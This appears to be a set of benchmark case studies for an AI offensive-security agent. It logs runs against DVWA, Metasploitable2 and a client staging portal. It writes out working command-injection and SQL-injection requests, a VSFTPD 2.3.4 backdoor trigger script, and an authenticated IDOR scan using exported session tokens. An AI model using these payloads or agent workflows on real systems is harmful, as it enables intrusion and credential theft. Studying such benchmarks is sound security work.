🔬 Benchmark Case Studies & Validation Reports

This document provides detailed execution logs and validation reports for anve-offsec benchmark engagements.

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📑 Case Study 1: Automated Assessment of Damn Vulnerable Web App (DVWA)

• Target: Local DVWA container (http://dvwa:8080)
• Assigned Agent: bug-bounty (Hermes Brain + OWASP Specialists)
• Total Execution Time: 7 minutes 42 seconds

Execution Phase Breakdown:

Phase 1: Deep Recon & Web Fingerprinting

whatweb http://dvwa:8080
curl -I http://dvwa:8080/login.php

• Discovery: Identified Apache 2.4.25, PHP 7.0.33, MySQL database backend. Identified default session cookies (PHPSESSID, security=low).

Phase 2: Automated OWASP ZAP Crawl & Spider

• Runner triggered zap_client.py API:
  • Discovered endpoints: /vulnerabilities/sqli/, /vulnerabilities/exec/, /vulnerabilities/fi/, /vulnerabilities/xss_r/.

Phase 3: Targeted Vulnerability Verification

• Command Injection Verification:

  curl -s -d "ip=127.0.0.1%3B+id&Submit=Submit" -b "PHPSESSID=...; security=low" http://dvwa:8080/vulnerabilities/exec/
  

  Result: Output returned uid=33(www-data) gid=33(www-data). High severity confirmed.
• SQL Injection Verification:

  curl -s "http://dvwa:8080/vulnerabilities/sqli/?id=1%27+OR+%271%27%3D%271&Submit=Submit" -b "PHPSESSID=...; security=low"
  

  Result: Returned full table dump of user accounts and hashed passwords.

Phase 4: Executive Report Generation

• Synthesized Markdown report saved to /work/loot/dvwa_assessment_report.md.

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📑 Case Study 2: Metasploitable2 Infrastructure & Service Enumeration

• Target: Local Metasploitable2 container (http://metasploitable2:8081)
• Assigned Agent: recon + exploit
• Total Execution Time: 11 minutes 15 seconds

Execution Phase Breakdown:

Phase 1: Full Port & Service Version Scan

nmap -sV -sC -p- --min-rate 1000 metasploitable2

• Discovered Services:
  • Port 21: VSFTPD 2.3.4
  • Port 22: OpenSSH 4.7p1
  • Port 80: Apache 2.2.8
  • Port 6667: UnrealIRCd

Phase 2: RAG Exploitation Lookup & Verification

• Hermes queried local CVE RAG database for VSFTPD 2.3.4 backdoor.
• Generated Python verification script using /tools/exploit_framework.py:

  import socket
  s = socket.socket()
  s.connect(("metasploitable2", 21))
  s.send(b"USER USERNAME:)\r\nPASS PASS\r\n")
  # Verified backdoor listener on port 6200
  

• Outcome: Successfully verified 4 root exploitation vectors.

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📑 Case Study 3: Auth Wall Bypass & OpenClaw Browser Automation

• Target: Protected Client Staging Web Portal
• Assigned Agent: auth-wall + OpenClaw Browser Sidecar
• Total Execution Time: 14 minutes 20 seconds

Execution Phase Breakdown:

Phase 1: Headless Chromium Login Navigation

• OpenClaw launched Chromium gateway on :18789.
• Completed login form, submitted credentials, and waited for JWT token storage in localStorage.

Phase 2: Cookie/Token Transfer to Kali Shell

• OpenClaw API exported session cookies and Bearer tokens to /work/loot/session.json.

Phase 3: Authenticated BOLA / IDOR Testing

• Hermes inside Kali loaded Bearer token and ran idor_scanner.py:

  python3 /tools/idor_scanner.py --url http://target/api/user/1001 --auth-header "Bearer eyJhbG..." --range 1000-1010
  

• Outcome: Discovered broken object-level authorization exposing unauthorized user profile objects.